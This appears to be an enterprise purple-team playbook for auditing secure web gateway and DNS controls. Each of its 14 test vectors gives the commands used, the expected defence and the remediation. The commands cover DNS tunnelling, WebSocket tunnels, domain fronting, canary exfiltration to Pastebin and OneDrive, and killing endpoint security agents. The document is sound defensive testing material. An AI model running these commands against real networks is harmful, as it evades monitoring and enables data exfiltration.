Purple Team Audit Suite

Enterprise SWG & DNS Control Efficacy Audit Playbook

A structured gap assessment, validation matrix, and defensive hardening guide for testing bypass resilience across Secure Web Gateways (Zscaler, Cloudflare, Palo Alto Prisma) and DNS filtering layers.

🛡️ Scope, Authorization & Rules of Engagement

This playbook is intended exclusively for authorized purple-team / internal security audit engagements against infrastructure the tester owns or has explicit written authorization to test. All test vectors below simulate bypass techniques to validate — not defeat — existing control efficacy.

⚠️ Several vectors intentionally attempt to reach external resolvers/services (e.g. 1.1.1.1, dns.google). Ensure this is permitted under your Acceptable Use Policy and does not violate data handling / DLP requirements for the test environment.

📋 Audit Metadata

🔑 Legend

Severity reflects potential impact if the gap is exploited in production (data exfiltration, C2 channel establishment, policy evasion), independent of exploit complexity.

Critical — direct exfil / C2 channel
High — policy/category bypass
Medium — partial visibility loss
Low — informational / defense-in-depth
T1xxx MITRE ATT&CK technique mapping

🧰 Pre-Flight Toolkit Checklist

Confirm the following tools are available and functional on the audit workstation before executing test vectors. Version requirements indicate minimum tested versions.

curl.exe — HTTP client with DoH, HTTP/3, and proxy support (v8.0+)
openssl — TLS diagnostic and certificate inspection (v3.0+)
iodine — DNS tunneling client/server for SEC-DNS-03 (v0.8+)
wstunnel / chisel — WebSocket tunneling for SEC-TUN-02 (latest)
nslookup / Resolve-DnsName — DNS query diagnostics (built-in)
Wireshark / tshark — Packet capture for evidence collection (v4.0+)
Admin / Elevated Shell — Several tests require local admin or elevated PowerShell
Authoritative Test Domain — Required for SEC-DNS-03 tunnel testing (e.g. tunnel.auditdomain.test)

📐 Compliance Control Mapping

Each test vector maps to one or more compliance control families. Use this table to cross-reference audit findings with your organization's regulatory and framework requirements.

Vector ID MITRE ATT&CK NIST 800-53 Rev 5 CIS Controls v8 ISO 27001:2022
SEC-DNS-01T1071.004SC-7, SC-20, SI-49.2, 13.3A.8.20, A.8.22
SEC-DNS-02T1090SC-7, AC-49.2, 13.4A.8.20, A.8.23
SEC-PAC-01T1090.001SC-7, CM-74.1, 9.2A.8.9, A.8.20
SEC-TLS-01T1573.002SC-8, SC-13, SC-233.10, 9.2A.8.24, A.8.26
SEC-TUN-01T1572SC-7, AC-4, SI-49.2, 13.4A.8.20, A.8.22
SEC-V6-01T1090SC-7, CM-64.2, 9.2A.8.20, A.8.9
SEC-DNS-03T1048.001SC-7, SI-3, SI-49.2, 13.3, 13.8A.8.12, A.8.16
SEC-TUN-02T1572SC-7, AC-4, SI-49.2, 13.4A.8.20, A.8.22
SEC-CDN-01T1090.004SC-7, SC-8, SI-49.2, 13.3A.8.20, A.8.24
SEC-TLS-02T1071.001SC-7, SC-89.2, 13.3A.8.20, A.8.24
SEC-DLP-01T1567SC-7, AC-4, MP-53.13, 13.8A.8.11, A.8.12
SEC-AGT-01T1562.001SC-7, SI-7, CM-710.1, 10.5A.8.7, A.8.9
SEC-TLS-03T1573.002SC-8, SC-133.10, 9.2A.8.24, A.8.26
SEC-TUN-03T1572SC-7, AC-179.2, 12.7A.8.20, A.6.7

📊 Executive Summary

Auto-calculated summary for leadership reporting. Values update dynamically as vectors are scored.

Risk Posture

Critical/High Gaps: 0 of 0 critical/high vectors failed

Overall Efficacy: 0%

A score below 80% indicates material control gaps requiring immediate remediation planning.

Audit Coverage

Vectors Tested: 0 / 0

Pending: 0 vectors awaiting execution

All vectors must be evaluated (zero pending) before sign-off.

Total Test Vectors 0
Controls Passing 0
Gaps / Bypasses Identified 1
Efficacy Score 0%
SEC-DNS-01

Encrypted DNS (DoH / DoT) Egress Inspection

DNS Layer High T1071.004

Evaluates whether the endpoint can bypass corporate DNS sinkholing, categorization, and query logging by initiating outbound DNS-over-HTTPS (DoH) or DNS-over-TLS (DoT) sessions directly to external public resolvers.

Test Method & Diagnostics
PowerShell / cURL — DoH to Public Resolver (1.1.1.1) 
curl.exe -s -H "accept: application/dns-json" "https://1.1.1.1/dns-query?name=example.com&type=A" -v
PowerShell — DoH to FQDN (dns.google) 
Invoke-RestMethod -Uri "https://dns.google/resolve?name=example.com&type=A" -Headers @{"Accept"="application/dns-json"} -Verbose
PowerShell — DoT Outbound Port 853 Check 
Test-NetConnection -ComputerName 1.1.1.1 -Port 853
Expected Defensive Response

Gateway returns HTTP 403 Forbidden (*Proxy Avoidance / DoH* category), connection is terminated via SSL inspection, and TCP port 853 is dropped at perimeter firewall.

Observed Gap / Failure Mode

Direct HTTP 200 OK containing JSON-formatted DNS answer records, or successful TCP 853 3-way handshake to external resolver.

Defensive Hardening & Remediation
  • ZIA / SWG Policy: Block URL Category "DNS Over HTTPS Providers" and "Proxy Avoidance".
  • Firewall Egress: Drop all outbound TCP/UDP port 53 & TCP port 853 from endpoints to public internet.
  • Endpoint GPO: Enforce DnsOverHttpsMode = "off" in Chrome/Edge and set EnableAutoDoh = 0 in Windows DNS Cache.
SEC-DNS-02

Direct-to-IP Egress & Missing SNI Handling

DNS / Web Filtering High T1090

Tests whether HTTP/HTTPS traffic targeting raw IP addresses without prior DNS lookup or standard SNI headers bypasses URL categorization and policy enforcement.

Test Method & Diagnostics
PowerShell / cURL — Direct Raw IP Request 
curl.exe -k -v https://93.184.216.34
PowerShell / cURL — Forced Host Header Mapping 
curl.exe -v --resolve "example.com:443:93.184.216.34" https://example.com
Expected Defensive Response

Gateway inspects IP reputation, enforces SNI validation, and blocks or decrypts connection according to policy.

Observed Gap / Failure Mode

Egress establishes without inspection because no domain name was queried or matched in the URL policy table.

Defensive Hardening & Remediation
  • Advanced URL Policy: Enforce strict rules blocking raw IP HTTPS requests (regex: ^https?://\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}). Enable "Block Uncategorized" for IP-only destinations.
  • SSL Inspection: Require SSL decryption on unclassified IP destinations.
  • IP Reputation: Enforce threat intelligence lookup on all direct-to-IP connections and block or sandbox unclassified IPs.
SEC-PAC-01

Client Forwarding & PAC Fallback Failure Mode

Endpoint / Forwarding Critical T1090.001

Audits whether endpoint applications can establish uninspected outbound sessions when local proxy auto-configuration (PAC) settings are bypassed or when the proxy fails.

Test Method & Diagnostics
PowerShell — Inspect WinINET Proxy Settings 
Get-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Internet Settings' | Select-Object ProxyEnable, ProxyServer, AutoConfigURL
PowerShell / cURL — Explicit Proxy Bypass (--noproxy) 
curl.exe --noproxy "*" -I https://www.google.com -v
Expected Defensive Response

Packet filter driver (WFP) intercepts traffic regardless of application proxy awareness, or drops traffic if tunnel is disconnected (Fail-Closed).

Observed Gap / Failure Mode

Connection routes directly out of local interface uninspected when --noproxy is supplied.

Defensive Hardening & Remediation
  • Connector Upgrade: Standardize on Tunnel 2.0 (DTLS/TLS packet filtering) over legacy Tunnel 1.0 PAC redirection.
  • Fail-Closed Posture: Enable "Drop traffic when ZCC is disconnected" in forwarding profiles.
SEC-TLS-01

Encrypted Client Hello (ECH) & SNI Evasion

TLS / Crypto High T1573.002

Validates whether the SWG prevents uninspectable TLS 1.3 handshakes that use Encrypted Client Hello (ECH) extensions to hide the target Server Name Indication.

Test Method & Diagnostics
PowerShell / cURL — Cloudflare ECH Verification Probe 
curl.exe -s -v https://crypto.cloudflare.com/cdn-cgi/trace | Select-String "sni="
OpenSSL — TLS 1.3 Extension Diagnostic 
openssl s_client -connect crypto.cloudflare.com:443 -servername crypto.cloudflare.com -tlsextdebug
Expected Defensive Response

Gateway inspects the handshake, strips/downgrades ECH, and displays enterprise certificate or sni=plaintext in trace.

Observed Gap / Failure Mode

Trace returns sni=encrypted, preventing the gateway from identifying or filtering the inner host.

Defensive Hardening & Remediation
  • SSL Inspection: Enforce full MITM decryption on TLS 1.3 connections.
  • ECH Policy: Configure gateway to terminate or drop unsupported outer ECH extensions.
SEC-TUN-01

HTTP CONNECT Non-Standard Port Restriction

Protocol Tunneling Critical T1572

Ensures the gateway strictly restricts HTTP CONNECT tunneling to standard web ports (443), preventing arbitrary protocol tunneling (SSH, RDP) over web proxies.

Test Method & Diagnostics
PowerShell / cURL — HTTP CONNECT to Port 22 (SSH) 
curl.exe -v -x 127.0.0.1:9000 telnet://github.com:22
PowerShell / cURL — HTTP CONNECT to Port 8080 
curl.exe -v -x 127.0.0.1:9000 telnet://portquiz.net:8080
Expected Defensive Response

Gateway returns HTTP/1.1 403 Forbidden or 405 Method Not Allowed on non-standard CONNECT requests.

Observed Gap / Failure Mode

Gateway returns HTTP/1.1 200 Connection Established and bridges arbitrary raw TCP sockets.

Defensive Hardening & Remediation
  • Advanced Security Policy: Restrict proxy CONNECT methods exclusively to port 443.
  • Cloud Firewall: Enable deep packet inspection to detect non-TLS protocols tunneling inside port 443.
SEC-V6-01

IPv6 Dual-Stack Route Coverage & Egress Leakage

Network Routing High T1090

Audits whether hosts with dual-stack IPv4/IPv6 networking can egress directly over unmonitored IPv6 pathways if the security gateway only intercepts IPv4 traffic.

Test Method & Diagnostics
PowerShell — Check Active IPv6 Interfaces 
Get-NetIPAddress -AddressFamily IPv6 | Where-Object { $_.IPAddress -notlike "fe80*" -and $_.IPAddress -ne "::1" }
PowerShell / cURL — Force IPv6 Outbound Request 
curl.exe -6 -I https://ipv6.google.com -v
Expected Defensive Response

IPv6 traffic is captured by the gateway filter driver with full policy parity, or dropped at network perimeter.

Observed Gap / Failure Mode

Native IPv6 traffic bypasses the proxy tunnel and egresses directly without certificate inspection or logging.

Defensive Hardening & Remediation
  • IPv6 Policy Parity: Enable IPv6 forwarding and SSL inspection in ZIA/SWG policy profiles.
  • Perimeter Blackholing: If IPv6 inspection is unsupported, disable IPv6 egress globally at the perimeter firewall.
SEC-DNS-03

DNS Tunneling for Covert Data Exfiltration

DNS Layer Critical T1048.001

Even when DoH/DoT are blocked, standard plaintext DNS (UDP/53) permitted to an internal resolver can still be abused to encode and exfiltrate arbitrary data via TXT, NULL, or CNAME record chains to an attacker-controlled authoritative domain. Tests whether volumetric/entropy-based DNS anomaly detection is in place.

Test Method & Diagnostics
iodine — Establish DNS Tunnel (Requires Authoritative Test Domain) 
iodine -f -P testpass tunnel.auditdomain.test
PowerShell — Base32-Encoded TXT Query Simulation 
Resolve-DnsName -Name "$(("EXFIL-TEST-PAYLOAD" | Format-Hex).Bytes -join '').tunnel.auditdomain.test" -Type TXT
Expected Defensive Response

SWG/DNS security layer flags abnormal query entropy, high TXT/NULL record volume, or repetitive subdomain patterns and alerts/blocks the resolver chain.

Observed Gap / Failure Mode

Tunnel establishes successfully with sustained throughput and no SIEM/DNS security alert generated.

Defensive Hardening & Remediation
  • DNS Security Layer: Enable behavioral DNS analytics (query entropy, NXDOMAIN rate, TXT/NULL record volume thresholds) — e.g. Zscaler DNS Control / Cisco Umbrella Investigate.
  • Response Policy Zones (RPZ): Block resolution to newly registered or low-reputation authoritative domains.
  • Rate Limiting: Cap per-host DNS query rate and record type diversity at the resolver.
SEC-TUN-02

WebSocket Upgrade Abuse for Arbitrary Tunneling

Protocol Tunneling High T1572

Tests whether the gateway inspects traffic after an HTTP `Upgrade: websocket` handshake to an allowlisted domain, or whether it treats the connection as opaque once upgraded — permitting arbitrary proxy/tunnel payloads (e.g. via wstunnel or chisel) riding on a trusted domain's WSS endpoint.

Test Method & Diagnostics
wstunnel — Client Tunnel over Allowed Domain WSS 
wstunnel client -L tcp://127.0.0.1:2222:target-internal:22 wss://allowed-cdn-domain.test
PowerShell / cURL — Raw WebSocket Upgrade Probe 
curl.exe -v -N -H "Connection: Upgrade" -H "Upgrade: websocket" -H "Sec-WebSocket-Version: 13" -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" https://allowed-cdn-domain.test/ws
Expected Defensive Response

Gateway continues to apply DPI/DLP inspection to the upgraded stream, or restricts WebSocket upgrades to explicitly approved application endpoints only.

Observed Gap / Failure Mode

Post-upgrade traffic is treated as opaque binary and passes uninspected, enabling a full bidirectional tunnel.

Defensive Hardening & Remediation
  • App Control Policy: Restrict WebSocket upgrade permission to a curated allowlist of business-approved SaaS applications.
  • Stream Inspection: Enable continued DPI on upgraded connections where the proxy platform supports it.
  • Anomaly Detection: Alert on long-lived WebSocket sessions with asymmetric or high-volume bidirectional throughput.
SEC-CDN-01

Domain Fronting via Shared CDN Infrastructure

CDN Abuse High T1090.004

Tests whether a mismatch between the TLS SNI/DNS hostname (an allowlisted CDN domain) and the inner HTTP Host header (a blocked or attacker-controlled backend hosted on the same shared CDN) can bypass domain-category policy enforcement, since many proxies key their category decision off SNI alone.

Test Method & Diagnostics
PowerShell / cURL — SNI/Host Mismatch Probe 
curl.exe -v --resolve "allowed-cdn-domain.test:443:$(curl -s https://api.ipify.org)" -H "Host: blocked-backend.test" https://allowed-cdn-domain.test/
OpenSSL — Inspect SNI vs. Certificate CN/SAN Mismatch 
openssl s_client -connect allowed-cdn-domain.test:443 -servername allowed-cdn-domain.test | openssl x509 -noout -text | Select-String "DNS:"
Expected Defensive Response

Gateway performs full SSL inspection and validates the decrypted HTTP Host header against policy, independent of the outer SNI value; mismatch triggers a block.

Observed Gap / Failure Mode

Policy decision is made solely on SNI/certificate CN, allowing the inner Host header to reach a categorically blocked or malicious backend undetected.

Defensive Hardening & Remediation
  • Full SSL Inspection: Enforce decrypt-and-inspect policy that validates the HTTP Host header, not just SNI, for all shared-CDN-hosted categories.
  • CDN Allowlist Scrutiny: Treat broad CDN allowlisting (e.g. entire *.cloudfront.net, *.workers.dev) as high-risk; scope to specific verified hostnames where feasible.
  • Anomaly Detection: Flag SNI/Host header mismatches as a distinct detection rule regardless of category outcome.
SEC-TLS-02

QUIC / HTTP-3 Inspection Gap

TLS / Crypto Medium T1071.001

Many SWG/proxy platforms only intercept TCP/443. Chrome, Edge, and other clients increasingly negotiate QUIC over UDP/443 (HTTP/3) by default, which most transparent proxy architectures do not decrypt or inspect, potentially allowing full policy bypass for QUIC-capable destinations (e.g. Google, Cloudflare-fronted sites).

Test Method & Diagnostics
PowerShell — Confirm QUIC Negotiation via chrome://net-export or curl --http3 
curl.exe --http3 -v https://www.google.com -o NUL
PowerShell — Verify Firewall Blocks/Inspects UDP/443 
Test-NetConnection -ComputerName www.google.com -Port 443 -InformationLevel Detailed
Expected Defensive Response

UDP/443 (QUIC) is blocked at the perimeter, forcing fallback to inspected TCP/443, or the SWG platform natively decrypts/inspects QUIC streams.

Observed Gap / Failure Mode

QUIC handshake succeeds over UDP/443 with no proxy interception, and category/DLP policy is not applied to the session.

Defensive Hardening & Remediation
  • Perimeter Firewall: Block outbound UDP/443 globally to force client fallback to inspected TCP/TLS.
  • Browser GPO: Disable QUIC/HTTP-3 support via QuicAllowed = false policy in Chrome/Edge if perimeter blocking is not feasible.
  • SWG Capability Check: Confirm with vendor roadmap whether native QUIC inspection is supported/planned.
SEC-DLP-01

SaaS-Allowed Channel Data Exfiltration

Endpoint / DLP Critical T1567

Tests whether sensitive data can be exfiltrated through categorically-allowed cloud services (personal OneDrive/Google Drive, Slack, Teams, Pastebin, GitHub Gists) that the SWG permits by domain policy. Even with perfect proxy coverage, DLP gaps allow data to leave via trusted channels.

Test Method & Diagnostics
PowerShell — Upload Test File to Personal OneDrive via API 
$testData = "AUDIT-CANARY-$(Get-Date -Format 'yyyyMMdd')-CONFIDENTIAL-TEST-PAYLOAD"
$testData | Out-File -FilePath "$env:TEMP\audit-canary.txt" -Encoding utf8
curl.exe -v -X PUT "https://graph.microsoft.com/v1.0/me/drive/root:/audit-canary.txt:/content" -H "Authorization: Bearer $token" -H "Content-Type: text/plain" --data-binary "@$env:TEMP\audit-canary.txt"
PowerShell / cURL — Pastebin Exfiltration Probe 
curl.exe -v -X POST "https://pastebin.com/api/api_post.php" -d "api_dev_key=AUDIT_TEST_KEY&api_option=paste&api_paste_code=AUDIT-CANARY-EXFIL-TEST"
Expected Defensive Response

DLP engine scans upload payloads for sensitive data patterns (SSN, credit card, PII keywords, canary tokens) and blocks transmission with policy violation alert, regardless of destination domain category.

Observed Gap / Failure Mode

File upload succeeds to personal cloud storage or paste service with no DLP alert generated, despite containing sensitive data markers.

Defensive Hardening & Remediation
  • Inline DLP: Enable content inspection and data pattern matching (regex, exact data match, fingerprinting) on all allowed upload-capable SaaS categories.
  • Tenant Restrictions: Enforce tenant restrictions for O365/Google Workspace to block uploads to personal tenants while allowing corporate tenant access.
  • Cloud App Control: Implement CASB/Cloud App Control to distinguish between sanctioned and unsanctioned instances of the same SaaS platform.
SEC-AGT-01

Endpoint Agent Tamper & Kill Resistance

Endpoint / Agent Critical T1562.001

Validates whether the SWG endpoint agent (Zscaler Client Connector, Cloudflare WARP, Palo Alto GlobalProtect) resists local administrator attempts to stop, disable, uninstall, or kill the agent process — a prerequisite for all other proxy controls to function.

Test Method & Diagnostics
PowerShell (Admin) — Attempt to Stop Agent Service 
# Zscaler Client Connector
Stop-Service -Name "ZSATunnel" -Force -ErrorAction SilentlyContinue
Get-Service "ZSATunnel" | Select-Object Status, StartType

# Cloudflare WARP
Stop-Service -Name "CloudflareWARP" -Force -ErrorAction SilentlyContinue

# GlobalProtect
Stop-Service -Name "PanGPS" -Force -ErrorAction SilentlyContinue
PowerShell (Admin) — Attempt to Kill Agent Process 
# Attempt process termination
Get-Process -Name "ZSATray","ZSATunnel","warp-svc","PanGPA" -ErrorAction SilentlyContinue | Stop-Process -Force

# Verify whether processes restarted
Start-Sleep -Seconds 5
Get-Process -Name "ZSATray","ZSATunnel","warp-svc","PanGPA" -ErrorAction SilentlyContinue | Format-Table Name, Id, StartTime
PowerShell (Admin) — Attempt to Disable via Registry / WFP Filter Removal 
# Check for tamper protection via WFP callout drivers
netsh wfp show filters
# Attempt to disable auto-start
Set-Service -Name "ZSATunnel" -StartupType Disabled -ErrorAction SilentlyContinue
Expected Defensive Response

Agent service resists termination (Access Denied even for local admin), auto-restarts within seconds if killed, tamper protection blocks registry modification, and a tamper alert is sent to the management console.

Observed Gap / Failure Mode

Agent can be stopped, killed, or uninstalled by a local administrator without triggering an alert, leaving the endpoint completely unprotected.

Defensive Hardening & Remediation
  • Tamper Protection: Enable anti-tamper mode in agent configuration (e.g. Zscaler "Enforce ZCC" with password protection, WARP MDM-managed mode).
  • PPL / Driver-Level Protection: Deploy agent as a Protected Process Light (PPL) where supported, or use kernel-mode WFP callout drivers for tamper resistance.
  • MDM/UEM Enforcement: Use Intune, JAMF, or SCCM compliance policies to detect and auto-remediate agent absence or tampering.
  • Console Alerting: Configure management console alerts for agent disconnect, tamper events, and compliance drift.
SEC-TLS-03

Certificate Pinning vs. MITM Inspection Conflict

TLS / Crypto High T1573.002

Applications using certificate pinning (mobile apps, thick clients, some browsers with HPKP/built-in pins) will reject the SWG's MITM inspection certificate and either fail to connect (visible error) or fall back to an uninspected path. This vector tests whether pinning-exempt applications create blind spots in SWG visibility.

Test Method & Diagnostics
PowerShell — Test Certificate Chain Through SWG (Expect Enterprise CA) 
# Verify the SWG intercept certificate is presented
openssl s_client -connect www.google.com:443 -servername www.google.com 2>&1 | Select-String "issuer="

# Compare with direct connection (expected: different issuer if SWG is intercepting)
# Enterprise CA issuer = SWG is inspecting
# Google Trust Services = SWG is NOT inspecting (pinning exemption or bypass)
PowerShell — Identify SSL Inspection Bypass List 
# Test known pinning-sensitive domains
$pinnedDomains = @("teams.microsoft.com", "outlook.office365.com", "api.twitter.com", "gateway.icloud.com")
foreach ($domain in $pinnedDomains) {
    $cert = [System.Net.ServicePointManager]::FindServicePoint("https://$domain").Certificate
    Write-Output "$domain => Issuer: $($cert.Issuer)"
}
Expected Defensive Response

SWG maintains a curated bypass list for pinned domains and compensates with alternative controls (DNS-layer filtering, endpoint DLP, cloud app API-based inspection) for those exempted domains.

Observed Gap / Failure Mode

Pinning-exempted domains have no compensating controls, creating blind spots where traffic is neither inspected by the SWG nor monitored by any alternative mechanism.

Defensive Hardening & Remediation
  • Bypass Audit: Maintain a documented inventory of all SSL inspection bypass/exemption entries with business justification and compensating controls for each.
  • Compensating Controls: For each pinned/bypassed domain, ensure at least one alternative inspection layer exists (DNS filtering, CASB API mode, endpoint DLP, or network DPI).
  • Minimize Bypass Scope: Scope bypasses to the narrowest possible domain set (specific FQDNs, not wildcards) and review quarterly.
SEC-TUN-03

Split-Tunnel VPN Uninspected Egress

Network Routing High T1572

When enterprise VPN clients use split-tunnel configurations, web traffic destined for "internet" destinations may egress through the local interface rather than the VPN tunnel, bypassing the SWG entirely if the endpoint agent does not intercept at the WFP/network driver layer independently of VPN routing.

Test Method & Diagnostics
PowerShell — Identify Active VPN Adapters & Split-Tunnel Routes 
# List VPN adapters
Get-NetAdapter | Where-Object { $_.InterfaceDescription -match "VPN|Cisco|Palo|Fortinet|GlobalProtect|AnyConnect" }

# Check routing table for split-tunnel indicators (default route NOT via VPN = split tunnel)
Get-NetRoute -DestinationPrefix "0.0.0.0/0" | Format-Table DestinationPrefix, NextHop, InterfaceAlias, RouteMetric
PowerShell / cURL — Test Egress Path While VPN Connected 
# Determine which path internet traffic takes while VPN is connected
tracert -d -w 1000 1.1.1.1

# Verify SWG inspection is active on the egress path
curl.exe -v -I https://www.example.com 2>&1 | Select-String "issuer|proxy|via"
Expected Defensive Response

SWG agent operates independently of VPN routing via WFP/TUN driver, ensuring all web traffic is inspected regardless of whether it routes through the VPN tunnel or the local interface.

Observed Gap / Failure Mode

Internet-bound traffic exits via local interface uninspected when VPN is in split-tunnel mode, because the SWG agent depends on VPN-injected routes for traffic capture.

Defensive Hardening & Remediation
  • Agent Independence: Ensure the SWG agent uses its own WFP callout filter / TUN interface, not VPN-dependent routing, for traffic interception.
  • Full-Tunnel Fallback: Configure VPN to full-tunnel mode as a backup when SWG agent health check fails.
  • Routing Validation: Implement automated compliance checks that verify SWG interception is active on all egress paths (VPN tunnel + local interface).

✅ Audit Sign-off & Attestation

Upon completion of all test vectors, formally close the audit with attestation of results, communicated remediation timelines, and scheduled retest date.

Command copied to clipboard!